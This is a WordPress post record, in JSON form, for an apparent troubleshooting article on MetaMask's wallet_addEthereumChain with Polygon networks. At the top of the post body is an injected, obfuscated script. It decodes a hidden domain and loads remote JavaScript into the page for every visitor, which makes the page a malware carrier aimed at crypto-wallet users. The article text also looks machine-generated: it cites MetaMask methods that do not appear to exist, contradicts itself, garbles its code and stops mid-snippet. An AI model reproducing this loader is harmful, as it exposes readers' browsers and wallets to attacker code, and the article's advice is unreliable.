{"id":1740,"date":"2025-02-13T04:25:41","date_gmt":"2025-02-13T04:25:41","guid":{"rendered":"https:\/\/hccmena.com\/?p=1740"},"modified":"2025-02-13T04:25:41","modified_gmt":"2025-02-13T04:25:41","slug":"metamask-metamask-wallet_addethereumchain-is-not-working-when-using-polygon-mainet-but-works-with-polygon-mumbai","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/13\/metamask-metamask-wallet_addethereumchain-is-not-working-when-using-polygon-mainet-but-works-with-polygon-mumbai\/","title":{"rendered":"Metamask: Metamask: wallet_addEthereumChain is not working when using polygon mainet but works with polygon mumbai"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=84dcc8f5\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Metamask Issue: WalletAddEthereumChain not working on Polygon mainnet but not Polygon Mumbai<\/strong><\/p>\n<p>As a Metamask user, you are probably no stranger to the frustration of switching between different blockchains. However, when using MetaMask&#8217;s <code>wallet_addEthereumChain<\/code> method, it doesn&#8217;t seem to work as expected when switching from Polygon mainnet to Polygon Mumbai.<\/p>\n<p>In this article, we will dive into the issue and explore possible solutions to fix it.<\/p>\n<p><strong>Issue<\/strong><\/p>\n<p>When trying to switch between different blockchains using MetaMask&#8217;s <code>wallet_addEthereumChain<\/code> method, you may encounter the following error:<\/p>\n<p><pre><code><\/p><p>Ethereum: Cannot add more than one network. Network 'Polygon Mumbai' already exists.<\/p><p><\/code><\/pre>\n<\/p>\n<p>This means that Metamask is trying to add a new network (Polygon Mumbai) when it already has an existing network (Polygon mainnet).<\/p>\n<p><strong>Problem<\/strong><\/p>\n<p>It seems that the <code>wallet_addEthereumChain<\/code> method does not take into account the presence of multiple Ethereum networks. When you request a new chain, MetaMask uses the first available network in your wallet. However, when switching between different networks, it seems to ignore the existing networks and tries to add them again.<\/p>\n<p><strong>Solution<\/strong><\/p>\n<p>To solve this issue, you can use the following approach:<\/p>\n<ul>\n<li><strong>List available networks<\/strong>: Before trying to switch between networks, list all available Ethereum networks using MetaMask&#8217;s <code>listAllAccounts<\/code> method.<\/li>\n<\/ul>\n<ul>\n<li><strong>Check existing network<\/strong>: Check if there are any duplicate network names in your wallet.<\/li>\n<\/ul>\n<ul>\n<li><strong>Switch to Polygon Mumbai<\/strong>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/WiED1dS46EU\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>: If you want to switch to Polygon Mumbai, use the following code:<\/li>\n<\/ul>\n<p><pre><code><\/p><p>const polygonMumbaiNetworkName = 'Polygon Mumbai';<\/p><p>const existingNetworkNames = await listAllAccounts();<\/p><p>const existingNetworkIndex = existingNetworkNames.findIndex(network => network.name === polygonMumbaiNetworkName);<\/p><p>if (existingNetworkIndex !== -1) {<\/p><p>\/\/ Remove existing network from wallet.<\/p><p>const existingNetworkAccount = await MetaMask.getNetworkAccount(existingNetworkIndex);<\/p><p>await removeNetworkFromWallet(existingNetworkAccount.networkId, existingNetworkIndex);<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p>Note that this approach assumes you have a <code>networks<\/code> object in your wallet data. If not, you may need to get a list of available networks using <code>listAllAccounts()<\/code> and then loop through each network to find the one that matches the desired name.<\/p>\n<ul>\n<li><strong>Add the Polygon Mumbai network<\/strong>: After deleting the existing network, add a new one to the wallet using:<\/li>\n<\/ul>\n<p><pre><code><\/p><p>const polygonMumbaiNetwork = {<\/p><p>id: 'Polygon Mumbai',<\/p><p>chainId: 431911,<\/p><p>address: '0x...' \/\/ Replace with the generated Polygon Mumbai address.<\/p><p>};<\/p><p>await MetaMask.addNetwork(polygonMumbaiNetwork);<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Metamask: Metamask: wallet_addEthereumChain is not working when using polygon mainet but works with polygon mumbai\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/4e9d0e48.png\"><\/p>\n<p>Switching between Ethereum networks using Metamask&#8217;s <code>wallet_addEthereumChain<\/code> method can be a bit more complicated than switching between different blockchains. However, by following these steps and verifying that the issue is not a wallet configuration issue or network availability, you should be able to resolve the issue.<\/p>\n<p><strong>Sample use case<\/strong><\/p>\n<p>Here is a sample code snippet showing how to switch from Polygon mainnet to Polygon Mumbai:<\/p>\n<p>&#8220;`javascript<\/p>\n<p>const mainnetNetworkName = &#8216;Polygon Mainnet&#8217;;<\/p>\n<p>const existingNetworkNames = await listAllAccounts();<\/p>\n<p>const mainnetIndex = existingNetworkNames.findIndex(network => network.name === mainnetNetworkName);<\/p>\n<p>if (mainnetIndex !== -1) {<\/p>\n<p>\/\/ Remove the existing network from the wallet.<\/p>\n<p>const mainnetAccount = wait for MetaMask.getNetworkAccount(mainnetIndex);<\/p>\n<p>wait for removeNetworkFromWallet(mainnetAccount.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Metamask Issue: WalletAddEthereumChain not working on Polygon mainnet but not Polygon Mumbai As a Metamask user, you are probably no stranger to the frustration of switching between different blockchains. However, when using MetaMask&#8217;s wallet_addEthereumChain method, it doesn&#8217;t seem to work as expected when switching from Polygon mainnet to Polygon Mumbai. In this article, we will [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1740"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1740"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1740\/revisions"}],"predecessor-version":[{"id":1741,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1740\/revisions\/1741"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1740"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1740"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1740"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}